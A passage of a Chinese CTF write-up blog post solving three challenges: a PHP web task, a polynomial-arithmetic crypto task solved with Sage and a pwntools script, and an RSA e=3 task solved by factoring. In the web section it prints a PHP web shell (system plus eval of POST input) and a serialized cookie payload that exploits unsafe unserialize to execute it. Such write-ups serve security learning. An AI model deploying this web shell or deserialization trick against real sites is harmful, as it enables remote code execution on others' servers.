而这里也直接对cookie进行反序列化,没有任何过滤

spl_autoload_register();
$userfile = empty($_COOKIE["userfile"]) ? [] : unserialize($_COOKIE["userfile"]);

那么直接上传一个inc文件,注意要将文件的Content-type修改一下

<?php system('ls');eval($_POST['cmd']);?>

image-20220801135545948

获得文件名,将cookie修改成:

O%3A32%3A%2202f9bf508f93eebdd216dba17c5a99c0%22%3A0%3A%7B%7D

刷新一下,执行成功

image-20220801140011233

flag:

flag{3acd895a-8b80-4fd7-8cc9-2701f261d654}

polydiv

  • 题目描述

    多项式乘法,已知a(x)*b(x)+c(x)=r(x)a(x),c(x),r(x)求`b(x)

题目与提供的代码稍有出入,服务器上跑的是可以看成在 G F ( 2 8 ) GF(2^8) GF(28)下求b(x)

sage: R.<x>=GF(8)
sage: a = x^7 + x^5 + x^2
....: c = x^6 + x^5 + x^4 + x^3 + x^2 + x + 1
....: r = x^14 + x^12 + x^10 + x^7 + x^2 + x + 1
sage: (r-c)/a
x^2

或者直接爆破

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
from gmpy2 import *
import hashlib
from string import ascii_letters, digits
from pwn import *
from itertools import product
from poly2 import *

context.log_level = 'debug'
table = ascii_letters + digits


class Solve():
    def __init__(self):
        self.sh = remote('182.92.82.77', 12469)
        self.r = 0
        self.a = 0
        self.c = 0

    def proof_of_work(self):
        proof = self.sh.recvuntil(b'Give me XXXX:')
        tail = proof[12:28].decode()
        _hash = proof[33:97].decode()
        for i in product(table, repeat=4):
            head = ''.join(i)
            t = hashlib.sha256((head + tail).encode()).hexdigest()
            if t == _hash:
                self.sh.sendline(head.encode())
                break

    def Poly2N(self, f):
        return eval(f.replace('^', '**').replace('x', '2'))

    def check(self, a, c, pr):
        for b in range(256):
            pa, pb, pc = [PP(bin(i)[2:]) for i in [a, b, c]]
            r = pa * pb + pc
            if str(r) == pr:
                return int(b)
        return False

    def solve_rac(self):
        for i in range(40):
            self.sh.recvuntil(b'r(x) = ')
            self.r = self.sh.recvline()[:-1].decode()
            tmp = self.r
            self.sh.recvuntil(b'a(x) = ')
            self.a = self.sh.recvline()[:-1].decode()
            self.sh.recvuntil(b'c(x) = ')
            self.c = self.sh.recvline()[:-1].decode()
            self.r = self.Poly2N(self.r)
            self.a = self.Poly2N(self.a)
            self.c = self.Poly2N(self.c)
            b = self.check(self.a, self.c, tmp)
            if b:
                self.sh.sendlineafter(b'> b(x) = ', str(PP(bin(b)[2:])).encode())

    def solve(self):
        self.proof_of_work()
        self.solve_rac()
        self.sh.interactive()

if __name__ == '__main__':
    solution = Solve()
    solution.solve()
# flag{f2887f56-0114-49c0-a0c6-663f164ef84a}

ASR

  • 题目描述

    from Crypto.Util.number import getPrime
    from secret import falg
    
    pad = lambda s:s + bytes([(len(s)-1)%16+1]*((len(s)-1)%16+1))
    
    n = getPrime(128)**2 * getPrime(128)**2 * getPrime(128)**2 * getPrime(128)**2
    e = 3
    
    flag = pad(flag)
    print(flag)
    assert(len(flag) >= 48)
    m = int.from_bytes(flag,'big')
    c = pow(m,e,n)
    
    print(f'n = {n}')
    print(f'e = {e}')
    print(f'c = {c}')
    
    '''
    n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
    e = 3
    c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
    '''
    

4个因子,因为都是128位,yafu直接分解 n \sqrt{n} n

跑到一半报错了(心态崩),看日志差不多一个小时的时间分解出来一个因子

image-20220730204034366

之后重新下载了一个yafu就可以继续跑了

image-20220730222756505

最后 e = 3 e=3 e=3 φ \varphi φ有公因子9分别来自两个因子;由于 m m m比较小,直接选用另外两个因子做模数就好了

from gmpy2 import *
from Crypto.Util.number import *

e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
n1 = iroot(n, 2)[0]

r1, r2, r3, r4 = [225933944608558304529179430753170813347, 218566259296037866647273372633238739089, 223213222467584072959434495118689164399, 260594583349478633632570848336184053653]

phi = r3 * r4 * (r3 - 1) * (r4 - 1)
new_n = (r3 * r4) ** 2
d = invert(e, phi)
m = long_to_bytes(pow(c, d, new_n))
print(m)
# b'flag{Fear_can_hold_you_prisoner_Hope_can_set_you_free}\x06\x06\x06\x06\x06\x06'

感谢4XWi11提供的密码wp

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值